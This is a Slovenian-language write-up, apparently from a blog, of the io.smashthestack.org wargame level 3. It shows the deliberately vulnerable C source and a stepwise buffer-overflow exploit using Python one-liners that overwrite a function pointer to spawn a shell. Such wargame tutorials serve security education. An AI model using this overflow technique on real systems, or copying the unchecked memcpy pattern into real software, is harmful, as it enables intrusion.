io.smashthestack.org / level03

PUBLISHED ON 12/02/2016 — IO.SMASHTHESTACK.ORG, TUTORIALS
$ ssh -l level3 io.smashthestack.org -p2224
level3@io:/levels$ cat level03.c
//bla, based on work by beach

#include <stdio.h>
#include <string.h>

void good()
{
        puts("Win.");
        execl("/bin/sh", "sh", NULL);
}
void bad()
{
        printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}

int main(int argc, char **argv, char **envp)
{
        void (*functionpointer)(void) = bad;
        char buffer[50];

        if(argc != 2 || strlen(argv[1]) < 4)
                return 0;

        memcpy(buffer, argv[1], strlen(argv[1]));
        memset(buffer, 0, strlen(argv[1]) - 4);

        printf("This is exciting we're going to %p\n", functionpointer);
        functionpointer();

        return 0;
}

memcpy

void *memcpy(void *dest, const void *src, size_t n);

Funkcija memcpy kopira n bajtov iz dela pomnilnika src v del pomnilnika na naslovu dest. Izvorni in ciljni del pomnilnika se ne smeta prekrivati. Funkcija vrne kazalec na dest.

Pomanjkanje preverjanja zaključnega null znaka v izvornem nizu nas takoj opozori na moznost uporabe prekoracitve pomnilnika (ang. buffer overflow).

Podrobno je zadeva opisana v legendarnem clanku “Smashing the stack for fun and profit”, ki je izsel v 49. izdaji Phrack-a leta 1996.

memset

void *memset(void *s, int c, size_t n);

Funkcija memset napolne prvih n bajtov na naslovu s z vrednostjo c. Funkcija vraca kazalec na s.

Delovanje

Osnova izkoriscanja prekoracitve pomnilnika je pomanjkanje preverjanja kdaj se dolocen niz zakljuci.

Glede na to da je buffer velik 50 bajtov, predvidevamo, da moramo medpomnilnik napolniti z vsaj 50 bajti poljubnih podatkov, da pridemo do napake v segmentaciji (ang. segmentation fault). Probajmo najprej nasilni pristop z nekaj znanja pythona.

level3@io:/levels$ ./level03 $(python -c 'print "A"*50')
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474

Vidimo, da bomo potrebovali vec nakljucnih podatkov, poskusimo povecat kolicino vnosa:

level3@io:/levels$ ./level03 $(python -c 'print "A" * 100')
This is exciting we're going to (nil)
Segmentation fault

Ocitno smo pretiravali s kolicino:

level3@io:/levels$ ./level03 $(python -c 'print "A" * 80')
This is exciting we're going to 0x41414141
Segmentation fault

Vemo da ima znak A, ki ga vnasamo v pomnilnik, v sestnajstiskem sestavu vrednost 41 in vidimo da smo uspeli prepisati lokacijo, torej smo zelo blizu. Razlika med 0x80484a4 in 0x8048474 je le v zadnjem bajtu, ki ga moramo dejansko prepisati, ko smo enkrat na lokaciji 0x8048441, enostavno zmanjsamo stevilo vnesenih znakov A za ena in v pomnilnik vpisemo \x74:

level3@io:/levels$ ./level03 $(python -c 'print "A" * 77')
This is exciting we're going to 0x8048441
Illegal instruction

Epilog

Torej program lahko prepričamo v izvršitev “dobre” funkcije, če mu podamo 76 bajtov smeti in naslov na katerem se nahaja funkcija good "\x74\x84\x04\x08":

level3@io:/levels$ ./level03 $(python -c 'print "A" * 76 + "\x74"')
This is exciting we're going to 0x8048474
Win.
sh-4.2$
TAGS: C, HACK, HACKS, LINUX, SMASH